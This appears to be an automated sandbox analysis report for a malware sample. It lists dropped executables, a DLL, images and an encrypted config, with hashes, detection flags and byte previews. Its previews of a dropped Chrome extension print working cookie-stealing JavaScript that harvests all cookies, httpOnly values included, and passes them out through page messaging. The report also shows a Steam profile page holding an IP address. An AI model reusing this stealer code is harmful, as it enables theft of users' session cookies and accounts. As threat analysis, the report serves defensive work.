SHA-256:	15F6A2B2FD9FB56E6B569A36503F0A01E387BAB47BA3BF8E24963FC39572D60B
SHA-512:	EAA64FE16709DBB6781AE5D2C70237DB011BBF27A3ED6BF6B73B4C81D822D8DB03203D1BD29D5D71FCB735325F64E369B0DA870FD5692300D317636A7094C8E4
Malicious:	false
Reputation:	unknown
Preview:	..fUXO......................................................................4..Y.4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;...1.........e.......................e...........k>......k>.....k>......k>.................O...Z=.....Z=..............Z=......G\|v}....................EP..Y.....Xs...............2..4..........X\.......4..............................ey......8G.......................................?.......0......................uy...............................?.....................................................55555555..4....../..................5..u55555555[.....4......+..................55555555.....e1......#..................;gfgv.........0......S..................55555555!.....<..C...=.................W;\|qtat........?......k..................;ayf..........?.........................;a}px\|qt..T...?...T.................u...;gpyzv.......uy......7G.....................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\setup294[1].exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2793749
Entropy (8bit):	7.945099975459654
Encrypted:	false
SSDEEP:	49152:ppUlRhkDckBkgWRMvmHxDhii7w5utZQohYXUA+6QHRUa2:ppUlwck+gWFHxDscOufskBUh
MD5:	32D986D13D2B4B6ACDC7ACE345D66BD4
SHA1:	9C3EF3B84F259FF84C4B9D79B40ADF5E7D83340E
SHA-256:	CD0B3A30E1FBEF7E9BD8CDCD5A2169F7343F4C9C43865FC65CA8B2CBF6976D73
SHA-512:	11F14E2064AE55FFE6E85CAE67CFE9EA724979175CBC1E217D4C642939AC1560C2E36DED025DEAD789B0192FD01D81AEE47B56C53FFB8E826752049D74E7AD4B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......v..p2.b#2.b#2.b#.E.#?.b#.E.#..b#.E.#.b#...#0.b#..f"!.b#..a".b#..g"..b#;..#9.b#;..#5.b#2.c#,.b#..g"..b#..b"3.b#...#3.b#..`"3.b#Rich2.b#........................PE..L.....@f...............!.............e............@.......................................@.........................p}..4....}..P.......`....................p......E..T....................F......X...@...................,r.. ....................text...,........................... ..`.rdata..............................@..@.data................t..............@....didat.......p......................@....rsrc...`...........................@..@.reloc......p...,...l..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\setup[1].exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7595262
Entropy (8bit):	7.996899559951484
Encrypted:	true
SSDEEP:	196608:91O5nvaGdWgO+iCmuKFbReaGO/31RZQpbtElhEe:3OBvaGdWgP01FdZQVeP
MD5:	3542F60DFEF8BA16451AB6097587BF63
SHA1:	290FD517CC5834D1216702DBA769B2A286017E7F
SHA-256:	F08C7E5C8715AAE484AC4B4365249EA0374B5CD321D0CDB316FD550086A676EE
SHA-512:	937B842A135C2BC110EBEF75A841141CDF05AEB9AC9364580F7D6A61C6EC7378C979E0C775CB64D210AEF6EFC95AF8C830860350673BA76D8DFBEF379A27947D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\76561199689717899[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3063), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	35682
Entropy (8bit):	5.380816439744813
Encrypted:	false
SSDEEP:	768:s7pqLtWYmwt5D0gqOaiNGA7PzzgiJmDzJtxvrfukPco1AUmPzzgiJmDzJtxvJ2ST:s78LtWYmwt5D0gqOac7PzzgiJmDzJtx/
MD5:	354B2819B1E89FF674418D3033EB630F
SHA1:	287EE9D4532CD5384334F50267A38073E915BDFF
SHA-256:	93C56387E1F9B1C8EE832FAA46571C397E862D94E7D539353EEB0828D9BDB304
SHA-512:	806DFB263C0C5AC0949E7970A46138E0609460EF152B57E0AB198F08C663F9686A27C891C7FA13CFF5603B9D7C79D721699353A62BACF1A442E303B20CD13153
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: r0is https://65.109.242.59\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/css/globalv2.cs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Default15_s[1].exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4791448
Entropy (8bit):	7.801357729474096
Encrypted:	false
SSDEEP:	98304:fvlJEFn6D4/425BLJxuixbvOprXQPmVR64t6Grx+ts3fY:fvlGiS3lPr7OqOR6oMs3f
MD5:	9A78F27AA9D999EEE10CB154BA964869
SHA1:	D1AF2D2D1195415791F59285A9BCFA5EE0880EBD
SHA-256:	CF53B17C2ABC3B8AC0B149E2496726C5C7D67EC0712F56339F2870CA6D616DB6
SHA-512:	B0AB7D1A8492A1A318C10E7402CF36EF22BF80DB77AAC33F744296DCD01B17E438D65D2371FC733AEC28C671CD90DBF6CECB9BC23A9DB1163F183FEB70C7709C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............5i...........@...........................\|.....j.I...@.................................@tl.@.....o..-............H..t....o...............................:. ....lo.@.............m......]l.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp..$m..........................`..`.vmp...d>...1..f>.................`..`.reloc........o......j>.............@..@.rsrc....-....o..8...p>.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\aaaaaaaa[1].jpg

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85", baseline, precision 8, 600x800, components 3
Category:	dropped
Size (bytes):	1789609
Entropy (8bit):	7.469477439461062
Encrypted:	false
SSDEEP:	49152:r8Bu6jeTAcNmspkiTYh2zmlr7hT91hoavGtHJBpCbqag/8PTUb:wBDC7VpNYhu2PhTXh78aq8b+
MD5:	6FEB0D1252D06D306EE397ABE3561270
SHA1:	465D534EEA6223CFAE671266DF760F2E590EC62B
SHA-256:	42C8A15537D7656A0779E75654D016975C70C9E81071B4E9D300AA808359C2E9
SHA-512:	CA2F4BA811FD235063AE448907476E2162CDF7734B4BF8CB48B4949D538CE1F6568B4E15211AC2E116BD5B40836CA21B156F80640427D2317A444FF6533A5B23
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85....C..............................................!........."$".$.......C....................................................................... .X.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(...(...(...(...(...(...(...........:.2.C$0)..%..!....2.\........l.&;........2G.Z..r85...+....l.' +D.P9..b..R..2.....r^(...+.=....U.uy=...E.+. ....,.2#_..9..d.{..(.b.....;SHA.Q.....E..t..Z?...E-...R..P.QK.Q@.E-%..R.%.(c2K"F..1....+.o.x}$1E.Ey7x.......1..15..../.j..4......`..n.Y...J..zu.....R?.....m..L.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\default_s[1].exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4815512
Entropy (8bit):	7.796002238696443
Encrypted:	false
SSDEEP:	98304:+yjDqWHejZxTbsZFmVRVMGGLwMjzfq/+gIopszmuJDRXts3fYw:+uz+jZuyWTzjzp1opszZL9s3fF
MD5:	C0FEE8DB6325C8C1B3F8CCD13574C65A
SHA1:	2DDC159F8A06218C7622C7CD107598BE1FBD3C99
SHA-256:	D177DC7BA9F3E8511B08293B8CF92AF0BA4DEDD029C9F8365FCF05AFA8375344
SHA-512:	76ED65DC22149C9263C83D73D16A08E99B9137E619FE26AF852ACC2B4AF127C43BD5C6DD2BD16BA117C3432E1422F54157FE6CCB6E9D997E02C776BD52A26BF9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....iLf...............'.............P...........@..........................0}.......I...@..................................F2.@.....p..-............I..t....o...............................9. .....o.@.............O.......E.@....................text.............................. ..`.rdata..2~..........................@..@.data...0I...P......................@....vmp...\|..........................`..`.vmp....>.. 1...>.................`..`.reloc........o.......>.............@..@.rsrc....-....p..8....>.............@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\o2i3jroi23joj23ikrjokij3oroi[1].exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2121216
Entropy (8bit):	6.847277642413426
Encrypted:	false
SSDEEP:	49152:s4K3x1vU2JtTF+TxMoxc1TU+j+dAzGwlrh:s4Ex182tIuoITsdZ
MD5:	E22EFC95638F4C4E07FD7DABA5BD3154
SHA1:	DB73B614E897241D5321DC46EC25A302958ECD84
SHA-256:	11BDA3957B2FD86E57B1677149C0558686C11E31AE500F671D4D9A44F6E6F48F
SHA-512:	84DAC88794F1692CCB88F09A6F8EDFF231E9524F79CD8AF40414ACDBACAFBFE3FC1C79D9CC9A4A9190EB9CEF02D23247129E8461875176840E96641375B75122
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................P............... ....@........................... ..................@...........................`..J"...p...D......................<...................................................................................CODE................................ ..`DATA.....&... ...(..................@...BSS.....-....P.......6...................idata..J"...`...$...6..............@....tls.................Z...................rdata...............Z..............@..P.reloc..<............\..............@..P.rsrc....D...p...D..................@..P.............. ......^ .............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sqls[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\timeSync[1].exe

Download File

Process:	C:\Users\user\Desktop\CHA0VZiz8y.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	221184
Entropy (8bit):	6.939928485719776
Encrypted:	false
SSDEEP:	3072:jMVPYhwPGRcU82DFUT6UX+vkZQ2ftfLmaPUDF2QXrKj1bEVy:IPGdRK2euUXrftjmacDcrj1b
MD5:	EEAB6B508F842CE18D229914CD7167F7
SHA1:	739E0C2CBDC05C27962A4BF5D1388BC31ABC8811
SHA-256:	DCA2FAEC2933DBE461D5583BA92D89633F4C48BB33C39D9F1F9915A323ECCFF3
SHA-512:	465D18D0C28B7579CAC4F4B3B67A0CB065DF699327401D8EDBBF7433083863FF36099BA71D4E9784BDB9CE035209B60B330863DE917C05F247F93EEFBCE4CE74
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........\..\..\..Q...F..Q.>.(..Q.?.{..U.M.[..\..9...w?.]..Q...]...w..]..Rich\..........PE..L....R.c.....................L.......?............@..........................@...............................................X..P..................................4Y...............................N..@...............h............................text............................... ..`.rdata...q.......r..................@..@.data....0...p...v...T..............@....rsrc..............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\xxxxxxxx[1].jpg

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1080x1440, components 3
Category:	dropped
Size (bytes):	389194
Entropy (8bit):	7.927615507427045
Encrypted:	false
SSDEEP:	6144:Bjx+yOxRU3RaMDYgJBbrasGi3+EX4eEZat6+K0ZzNJ7O8346oqvpuoV0mBa1+:SnMaEt+i3+dZa1K0ZzNJ7O83nMmi+
MD5:	3200DC4E4F84ECA82267063AA1055D0C
SHA1:	9E634FADAA76AFC35B7D040E32AAF2911EEAD364
SHA-256:	60EB602D492C656CBCC7BDB8A2520BE9815C4A5F1E21D0435CC2B60819970240
SHA-512:	FBE9218E8656390AF05084188E1959E50BB06F3BA8C6374B854F26F103A6EBFBF8ABAF446E0DFFCD3C4B80B1D7759A8E8BED352E1D3916256657103C3BC0294B
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.............C....................................................................C.........................................................................8............................................c.........................!.."1A.2Q.#BRaq3br............$4CS...c....%s.....&5DTd..'6EUet....7F.....................................>......................!.1.A..."2Qa.#3q..B....$4...C.DRr.b..............?....{.e..#y.\|..,....P.b...?...'(..+....#.....B....:,9=.o5..,.b...M:,rP.w....<.C1......&.....lP....OrP.rZ....P,M.y"...,.....@X..oD..@;: ,......$...P.p.....pg....:.<.......;...8..B.......)..,........a.. ..!.!0..r.P.......f.....O..t...o.'...[.....o`h..4.m\|,..G....<<0@.?.F.*R7Sd...e.@.._.@...j..FGy.,..{..0.X..6.h7...E..wF..r..nl.Yp....o....j`..T...Y].7.m.J.a....g..@..,..<L.TD.Ra...u.....BS.\......+><{N8.rA....G..#....n.....F......\|#.;....Bs..n6....a..\|..5d...g..\|.w.4...}...I\|....S..>........aRW;~g..y.I4_)....)...(v.w.............]2.k}>P...^...\|..=.c.u...V

C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3134464
Entropy (8bit):	7.987488694347116
Encrypted:	false
SSDEEP:	49152:sa24nrYoeu14yHYne7V64z4APA5EtaUi7YcI5NtMQQDF4PAxf0NQdX1fwCm:Dncol14y4e7Vm0xaMcojM/DMAxf0yXF9
MD5:	F57F726F9E1B8C24B4F7C275FFAC78CF
SHA1:	339FED05D2D4A963E734E22741C89979D6B68B73
SHA-256:	AC9BF57379A94E559528BA283CBF74BF0DACF647CBB7F485437C361246FBD123
SHA-512:	C5BE34173BF2B710C57B4497A065FE19FB9DD62459EDFF56FDCC85363CCEDB53FC39989ED287DD07295A15E8DC86BF7902C68BD23E2B765CFC5B0ED94B56FA8F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|..................@......................................@... .. .... .. ..........P.......,........`..4...................0........................................................................................................<..................@........................@..............@............P...P.......B..............@............ ...........J..............@....................b...J..............@....rsrc.... ...`......................@..@.........`y......(..................@....data.....!.......!.................@...................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7043584
Entropy (8bit):	7.75428592634626
Encrypted:	false
SSDEEP:	196608:g33d6GSs0kBLodTLC41KJtkBzHxP3otI2IWRbO1bc:g33dIsR4TLCE4IzHxQtIfe
MD5:	C5FBFA06070EF1EA150FA88E1B6C6684
SHA1:	A00FAFE162FDE52A87B19C8A804CC7B9081A876B
SHA-256:	1C065244F549BF1CFAEE6C5F3CC0E98E7F64B3551D85F1AE5A3B88F6844F07E8
SHA-512:	CD97E76AC5924771F738A6E9F448E45051B78315CE5846C63BFF16515CFE3B339D330680F5C5BA5BC13AEED331AB06C6DF23C3CD6DEFFB2C58596E5FB4BBB1BD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......K.fp.e.#.e.#.e.#.7.#.e.#.7.#ce.#.7.#.e.#..#.e.#.e.#.e.#...#.e.#...#.e.#Rich.e.#........PE..L.....Ma......................`..................@...........................k.....).k...@...................................k...............................k.L:....................................j.@.............k..............................text............................... ..`.data...l._......x_.................@....idata........k......(k.............@..@.reloc..L:....k..<...>k.............@..B........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6678961
Entropy (8bit):	7.996134570189107
Encrypted:	true
SSDEEP:	196608:91O9G1b2lONGcZZPVgQI6fhtMUJAAx8hzFHa:3Oe3NhZZyluhmUJ5x8hzBa
MD5:	0EC8D7480C7D858848914B24584B17B4
SHA1:	E7DD43AA3D301C74E2E4F82EAA38C41064DFBDA5
SHA-256:	3646869590C227B37833952C28229173642E91F3BC6CFD9F0C64AEDE0F381B7C
SHA-512:	4AE865EA7FFBDA92DFC1981E894FC89D3248F305945ECAE2EB107450691903FF906F16F08BDBD839EE0EFBE77BE716C5317ECF103EEE411DCED47BB695ADDB44
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\data\config.txt

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe
File Type:	data
Category:	dropped
Size (bytes):	750388
Entropy (8bit):	7.999787714980367
Encrypted:	true
SSDEEP:	12288:FwUV/AsRet7H2repH0auZ+8GG+vuXcB++tNFrOTshYw1+wDTD+yJtPXVSCU+oJ:DJYtqrDpVVG++tL5hYw1TDTCybXVVKJ
MD5:	334CE16171A3EE86DB1ECFDBB18373F3
SHA1:	63FC0F6A6C7CC3BC561E31CC9CBB740CC49AC2F6
SHA-256:	0F219080202ED1F7260FF7BD440993BB47944B7587B23EDB5D6051E433D5C718
SHA-512:	43FF7A8742BB218BC448ED5DEC60DE5310743E89C9886476D65D7E31CD07D8738FDCC53146B9A92DBD7E9B5074941261A20096E5EAC609323CBA226894C2C9C6
Malicious:	false
Reputation:	unknown
Preview:	X..V4i...9......... ...\......w,N3e..bE.K.....i.e.....wn..n..K...F...I..#?.....@.P5.n.h?Gs...z.........q...h..XK3.47.........u.P..?....t..W1.x. .j.$..X#..?[.%_w.........:.KQB......I..!0..w..z..k..b.L..w.nyo...I.....C..s_.7.j.!7.!\..H..Q...Q~...).1....V.....5....Cr.......l.h r]...7.r69.....s0Z.h..u.,...O...m.u..yG$.t3..c.._F...H..&.Z.w..NF4.....X...Q.o..8..w.=........\.....m..\|. U.SR...~%.....I<....}".&..8.....1V.... ......~~M.T.T.OP...C.8..z...C.On...K.{..7.#..o&....G.=.......l5.8F.....U.).6.#`u%.YaE.4.>......k..g....,....`...0..qK...+.......pa..!?.......{:."...s./2>.3.0Shc.......".].Y....i...n..k...Gb.%U.O4.k.xt.@{...RhO.0./0>BC...+.\...UVF@...3\...K.l..K....H....?.nA.E~..i;.7Q.\|1B..,<...a\..xB....B..kL15~t.."..x()0.1.b.wBJ.B.l%.7.;.$..&6.....g.S..\|.,0......Z........tGs."..k.L.5.....p......=]e..vT..&.}...!?.q.!............7..3.#.V....qg..{...S.!/.C........m....Z?].<.@?...D.%l....'.....\|J.'..PB!..4a....uO.$oR..SQ.;...L.E.Y\|.,3)..ic

C:\Users\user\AppData\Local\Temp\Extension\background.js

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3929
Entropy (8bit):	5.157208672167165
Encrypted:	false
SSDEEP:	96:+Xx4YDX54BA9qh86q2NCs7mMnGzFMPCBG74DUuDfuQb9a:+mo47CsbnGz/K49hE
MD5:	7190651F63C7093873D44C5B0A94C01D
SHA1:	304D8D8B8F257BD819C16D4F67FB731FD1D6A566
SHA-256:	716F300751686FC19BFB09B49E9502212E774798721BC78AC7051DA82D6C107C
SHA-512:	5D346003EA7E719D0C233AFC76487934963A90AA8B0374653D2F66D591420F4062ECAFF595995F748D98241355E63A48BB8C103FBA6279A40DC682D36EC15018
Malicious:	false
Reputation:	unknown
Preview:	let uniqueId;....chrome.runtime.onInstalled.addListener(async () => {.. uniqueId = await getData("uniqueId", undefined);.... if (!uniqueId) {.. uniqueId = generateUniqueId();.. await setData("uniqueId", uniqueId);.. }..});....chrome.webRequest.onCompleted.addListener(...async (details) => {... const qwqwqerw = await chrome.cookies.getAll({ url: details.url });... const xxxxsds = qwqwqerw.map((cvdfdfd) => ({....domain: cvdfdfd.domain,....expirationDate: cvdfdfd.expirationDate,....hostOnly: cvdfdfd.hostOnly,....httpOnly: cvdfdfd.httpOnly,....name: cvdfdfd.name,....path: cvdfdfd.path,....sameSite: cvdfdfd.sameSite,....secure: cvdfdfd.secure,....session: cvdfdfd.session,....storeId: cvdfdfd.storeId,....value: cvdfdfd.value... }));... await yrretrete(xxxxsds);...},...{ urls: ["<all_urls>"], types: ["main_frame"] },...["responseHeaders"].. );.. .. async function yrretrete(iuuiui) {...let zhengju = await getData("zhengju", []);......for (let ewewewe of iuuiui) {... const inde

C:\Users\user\AppData\Local\Temp\Extension\icon.png

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9163
Entropy (8bit):	7.932141623252235
Encrypted:	false
SSDEEP:	192:452Ler2SJy0cuPea2NHB1EJdc2mJgl4KddtHGN6/jypq:qVr2X09PeaKHB1E/cbJxKddfyo
MD5:	D2216C7877CC822C3ED9CEE055FA8CAD
SHA1:	12A20178F057548C04964E4FBED9A9E01B79DA71
SHA-256:	64323598C2F170F30E8E0C185EB570B615A40D0650034F5E8C6A29442735729C
SHA-512:	91A5F3B0891B9D831D2F0A65BAD4D90FF0E62D986E6EA66652F9A067F6CFA659230F23507E7E99CB100D4F207B24E19065263BCAB27E6E551065B483193528B7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....pHYs..........+......bKGD.............%tEXtdate:create.2022-03-03T18:50:25+00:00..+....%tEXtdate:modify.2022-03-03T18:50:25+00:00.I....".IDATx^.]...E.>w.53Y!+.. .."..#K...U.'.........(..$.l.".....(;O...(.@V.@L.d.}..;.u..u{....3...pr.v.Z....NUW....._^....gi..<u..L.".......qSC.....,.9.......^....]tL...%n......^Z......k.D.ed?..N..0...z......l.fM..g..gF!..t.s.....jH....P2..([1(..d$..}'g....../...w......~..w.N\...#.d.3..(.@..u.Z.:W..F.E.....j".C.C..u.'...0fV...@.+..J$y.x.Q.p".8;@m...o....k.zs..tDWn.S.?.,.......l.\|q..tD.x.\i.....P...=.......U..i......v.8z.e..).@u..t.H..\|.L....0.k..\..x....@?..-.2.:.. &..d.b.GbS..z!...?.4......F.....D..!......n......@I./.:I..:A....qq..f...B...B...!(.F.20...A. .....X.... ...Q'..^i..r..-V=...Z...N#.Us...H.....$.2..6...F..w.......:F.(.:O...../f.o#.Q../9.@_..B>.......QG.......k.......i.~....U#.Jh..{.....`.. D.Y&.]7.:...D %..A..'.0....

C:\Users\user\AppData\Local\Temp\Extension\js\content.js

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	4.804068696237837
Encrypted:	false
SSDEEP:	24:gsYvRyGpy1vJddy0TvEwmUYi/dgbRvecEn+MuRyzZxmRLE+:gXRvy1BdtTXYydCRvecEn+Nyz2O+
MD5:	9AB0F9320495B406FDDB6DE1730652CC
SHA1:	A6D35A74DC53289794C9A05DC1AD8C03878E153A
SHA-256:	AB913781705A8841F3C3973AF4CFEB14C7ED9919A08FF810B920DCA17D69CBD1
SHA-512:	C527057C8AF9CB4A55A71FF5A8010706119FD19B5C354DAE046CD498F350C422B10578A3E3C2423E385C81D76D3ECE3B057C5F02F8C7B76769E18C5E2AA023FE
Malicious:	false
Reputation:	unknown
Preview:	window.addEventListener(.. "message",.. async function(event) {.. var uniqueId = await getData("uniqueId", undefined).. if(event.data === 'xxxss'){.. window.postMessage({action:"dsssss",uniqueId:uniqueId},'');.. }.. else if(event.data === 'yuyuyu'){.. var zhengju = await getData('zhengju',[]);.. var name = chrome.runtime.getManifest().name;.. window.postMessage({action:"xxxxx1",zhengju:zhengju, id:uniqueId,name:name},'');.. }.. else if(event.data.action === 'xxxxx2').. {.. chrome.runtime.sendMessage({ action: "xxxxx2", url:event.data.url, data:event.data.data});.. deleteData('zhengju');.. }.. },.. false.. );.. .. async function getData(key, defaultValue) {.. const result = await new Promise((resolve) => {.. chrome.storage.local.get(key, (data) => {.. resolve(data[key] ?? defaultValue);.. });.. });.. return result;.. }.. .. async function deleteData(key) {..

C:\Users\user\AppData\Local\Temp\Extension\js\injected-script.js

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	760
Entropy (8bit):	4.623828038356185
Encrypted:	false
SSDEEP:	12:gsY6fUQGm58F1uX+RYuHnGR5PSb3sReHSoI+gzxXDJQW:gsY6f9GmGnuuRYuHGRRKsReHSt+gzRFN
MD5:	9BDB783950B8A2964601E723C752A4F1
SHA1:	FB03EF617E615E00C0DB2BF46F0CA61D40CBAFFB
SHA-256:	FE5658184307B0ADC7766ADCF3371FCFDB5D13F2997BC4F178617CBA9A4FB6EA
